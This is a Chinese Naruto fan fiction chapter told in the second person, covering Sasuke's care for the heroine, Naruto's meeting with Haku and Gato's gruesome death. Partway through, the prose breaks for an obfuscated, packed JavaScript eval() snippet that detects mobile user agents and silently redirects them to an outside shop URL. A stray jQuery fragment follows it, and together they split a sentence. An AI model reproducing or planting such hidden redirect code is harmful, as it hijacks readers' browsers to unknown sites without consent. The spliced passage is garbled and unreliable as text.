第二天醒来时,看到一点昏昏黄黄的灯光。
取根也知道你的习惯,房间里暗沉沉的时候有一点光反而安心,所以并没有灭掉。
窗外是清晨灰蓝色的大海。但也看不到多少,白茫茫的雾气大有遮天蔽日的意思,刚刚还能看见的海面一会儿就消失在视线中了。
只有海浪的声音来来回回。
于是起床吃早饭。
白粥、野菜、葱丝小鱼干。
津波小姐一如既往的勤奋劳作着,把你们加起来一共八口人的饭料理得周周全全。
难以想象这得付出多少看不见的力气和心思。
虽然甚少有人愿意承认,女性日复一日的家庭劳动是世界正常运转的基石。
你慢慢咽着粥,忽然想到居然没有听见漩涡鸣人的声音。
抬头看了一圈才发现这个人可能从昨晚起就没回来。
宇智波佐助吃得快,已经在收拾着准备出门训练。
不知怎么着,忽然觉得有一个眼神扫了他一下又移开了。
他先是心里一跳,又明白过来这是疑惑漩涡鸣人怎么不在。
宇智波佐助悄悄抬起眼,看了一眼弥生。
少女正低着头,一勺一勺地吃粥。
专心致志到好像一切都只是他的错觉。
而且,他总有些疑心换了地方一时间对身体更不好。
水汽有些太重了,闷得慌。
眼见得少女的脸比昨天白了一点,连那嘴唇上褪色出来的一条线都十分触目。
津波小姐在烧水。
一鼓作气响起来的咕嘟咕嘟的声音让少年终于回过神来。
他想,总不能一直这样。
于是宇智波佐助一边留神记下少女今天吃了多少,一边注意着那水彻底沸腾起来。
在津波小姐准备倒出来时搭了一把手。
少年的身量虽然还没有长起来,但长年累月练出来的臂力已经足够他稳稳地把烧出来的滚烫热水一一分开,装进小一些的保温瓶里。
瓶口各有一个小开关,按一下就会打开。热水只顺着一个小口流出。
方便有人要用时不至于觉得重而不好拿,或者被那热气烫到。
倒让津波小姐惊讶了一下。
这少年看着冷冷清清,没有想到竟然会留心这些家务事。
她昨天就觉察出一行人中的少女应该是在经期的缘故,叮嘱了父亲一定要买点肉回来。女孩子到这个时候就是更得多吃一点好的。
另外不仅是喝的水,在这期间平常起居用度也要少碰冷水。
月经很回避那种冷的感觉,如果不好好对待它,是会溜走的。
宇智波佐助其实对女孩子特有的这回事并不太了解。
但如果有人能用得上,因此舒服一点,减少一些烦恼......
那为什么不做呢?
宇智波佐助还竭力从自己不多的被照料的记忆中搜寻出来一点可能有效的经验。
可都是妈妈的。
他又不是这么近的关系。
这么沉沉地想着,宇智波佐助说了一声“我去散步”就出门了。
出门走了一段路后,就是满地的花草和露水。
少年穿白色的短裤,那植物的茎叶虽然不至于刺人,也只是拂过裸露的皮肤,将一点水珠弹上。
却让他的心也跟着轻轻摇摆起来。
......
漩涡鸣人躺在满地的花草香中睡觉。
睡的非常沉,虽然手里还虚虚地握着苦无,林间的三两只鸟儿却丝毫不见害怕地落在少年的身上,随意地扑腾着。
直到一只纤细的手放在他脸上。
鸟儿振翅飞起,扑啦啦地落下几根羽毛。
漩涡鸣人被轻轻地摇醒了。
有着黑色长发、柔美面容的姐姐说她在采集疗伤的草药。
一番交谈下来也知道了他是忍者,正在为了变得更强而艰苦地修行。
“她”迟疑了一下,还是问出了一个问题:“你心里有很重要的人吗?”
昨晚仿佛因为打晕过去的缘故,水无月白并没有受什么皮肉之苦。醒过来后听了桃地再不斩的描述,两人一合计,才明白真真是“螳螂捕蝉黄雀在后”。
波之国这场大乱斗已经不是他们能够控制的局面了。
他们需要尽快疗伤,准备随时离开。
至于卡多这个所谓的“地头蛇”,一定是性命不保了。
没看到那少女连提都没提他吗?
只有已经明确的“死人”才是毫无价值,也不需要再费功夫的。
实在没必要给这种货色陪葬。
但是,水无月白也不能抑制自己心中的好奇。
“她”或者说他是个非常细腻的人。在之前那一场兵荒马乱的战斗中留意到了这个少年的举动,猜到和那少女关系非浅。而他出于自己的一点私心也很想问这个问题。
心里有了重要的人,就更能狠得下心去变强。
这个少年也是如此吗?
漩涡鸣人因为这个问题想到了很多人,没有父亲的他想到了凯沙和伊那里的感情,想到了说要保护同伴的卡卡西老师,还有把护额送给他的伊鲁卡老师。
但是他并没有像往日那样笑起来插科打诨过去。
那双天蓝色的眼睛低垂着。
半晌漩涡鸣人才非常非常苦恼地说道:“我啊,我是有很重要的人啦。”
他低下头,“可是,我还不够强。”
如果够强的话,弥生根本就不会让人用刀指着。
如果够强的话,他就能懂得弥生在想什么,想要什么,而且一定能做到。
少年坚定地看向面前的陌生人:“但是,我一定会变强!我要做最强大的忍者!”
只引得“少女”掩面而笑。
“喂,有什么好笑的啊?”漩涡鸣人恼羞成怒地喊道。
水无月白却依然带着笑意:“那么你一定会变强的。”
他站起身,转头离去。
这是当然的。
如果没有变强的价值,我们又谈何留住那重要之人的目光呢。
今天好像还只是柔弱的小孩子,明天也许就是摧毁一切的魔王了。
一道藏蓝色的身影和他擦肩而过。
目光凌厉的少年还回头看了一下。
都是难缠的对手啊,水无月白暗自感叹。
不过也好,他们并不会成为你死我活的对象了。
能活着总归是一件好事。对吧?
......
吊车尾和宇智波的天才如何一天天变强姑且不谈。
你对津波小姐的好感倒是一天天增多了起来。
人生道路上偶尔会遇到善意。
对于那些给予你善意的人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871197|211901||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你接受并回报以同样的东西。
卡多的死期可以提上日程了。
对于受害者来说,没有什么事比杀人犯去偿命能更好抚慰自己滴血的内心。
即使心里想着略显凶残的事情,少女的脸上也波澜不惊。
她只是坐着,沉思着。
旗木卡卡西耷拉下眼,实在有些估摸不准少女的心思。
不过总归不会有损木叶的利益。
他暗暗祈祷不要太过头了。
只是他也没有想到会有这么快。
当晚,卡多就被人砍去四肢。
挂在了那个他处决过无数人的、血腥的十字架上。
树倒猢狲散,往常围在他身边靠他吃饭的流氓打手还有叛忍们,聪明一点的嗅到不对早就跑了,不聪明的也就只能和这未尽的罪孽事业共赴黄泉。
杀人者的血和被杀的人们其实并没有什么不同。
滴滴答答地流下来时,像是一朵朵泥泞的花。
而彼时性格乖戾的小孩子伊那里正流着泪,质问着这些忍者为什么还要执行任务。
“不管说的多么好听,在真正强大的人面前,弱小的人就只有挨打的份......”
他很生气,认为鸣人他们不过是什么痛苦也没有经历、什么也不了解就想出风头的家伙。
他和这些人可不一样。他因为经历了痛苦而有了更高的认知,对于世界真实一面的认知。
而漩涡鸣人也难得真得很生气,直白地说出了伊那里就是整天哭哭啼啼的悲情剧主角,没用的爱哭鬼。
场面一时非常尴尬。
春野樱想要圆场而不能,漩涡鸣人则是起身就走。
安静许久的弥生却一把把他拉住。
少女的目光划过在座的每一个人身上,就像是一把轻巧却实在锋利的刀,让人本能地恐惧。
他们恐惧表象被割开后,下面那些不能说的东西就会流一地。
那就实在太难看了。
旗木卡卡西刚要开口阻止,就听到门外阵阵脚步声。
还有火把燃烧的动静。
开门后,达兹纳的熟人们无比惊悚也无比亢奋地说道:“卡多,那个卡多就在十字架上!”
他们中的一些人因为卡多的淫威而退出修桥工程,却也眼明心快地盯着达兹纳和卡多他们的斗法,有了动静往往比谁知道的都快。
此刻还记得冲过来告知达兹纳一家,已经是在顾忌着他带回来的一大帮人。
也许就是这些奇奇怪怪的人干出来的。
还有一些早就冲向了卡多的老巢,所有财富聚集的地方。
今晚是一个注定血腥的夜晚。
很多大事都发生在夜晚。
也许夜晚行动起来更方便,也许夜晚更容易煽动人心,也许夜晚的人们更疯狂。
不管怎么样,被积压已久的情绪爆发起来的时候,愈发可见人类是一种多么丑陋的生物。
弱小的、扭曲的、怨恨的、贪恋的。因为自己的无能而转向暴虐的。
而你,也只是人类罢了......
你看着照出自己身影的那扇窗户,忽然又多了一个人进来。
旗木卡卡西那只黑色的眼睛看着你,见你注意到他,终于还是开口道:“这个样子,是你满意的场面吗?”
好像一句没头没尾的诘问。
你冷冷地回看过去。